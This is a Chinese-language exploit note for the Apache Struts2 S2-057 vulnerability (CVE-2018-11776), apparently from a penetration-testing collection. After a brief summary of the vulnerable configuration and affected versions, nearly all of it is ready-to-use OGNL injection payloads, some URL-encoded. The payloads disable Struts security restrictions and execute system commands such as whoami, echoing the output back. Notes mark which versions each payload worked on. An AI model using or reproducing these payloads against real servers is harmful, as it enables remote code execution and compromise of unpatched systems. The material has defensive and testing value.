（CVE-2018-11776）s2-057¶
一、漏洞简介¶
当Struts2的配置满⾜以下条件时
- alwaysSelectFullNamespace值为true
- action元素未设置namespace属性或使⽤了通配符
namespace将由⽤户从uri传⼊并作为OGNL表达式计算最终造成任意命令执⾏漏洞。
http://url:8080/${1+1}/actionChain1.action
===>
http://url:8080/2/register2.action
二、漏洞影响¶
⼩于等于 Struts 2.3.34 与 Struts 2.5.16
三、复现过程¶
POC¶
回显是url
2.3.34版本 RCE 
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
urlencode===>
%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
2.3.34版本RCE payload
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}/actionChain1.action
urlencode==>
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
2.5.16版本 弹计算器 可能环境没配对 
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}/actionChain1.action
2.3.34版本弹计算器payload 失败 2.5.16也失败
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("woami"))}/actionChain1.action
2.3.20版本弹计算器 没环境
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}/index.action
2.3.20版本RCE payload 没环境
${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}
工具 RCE payload
%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d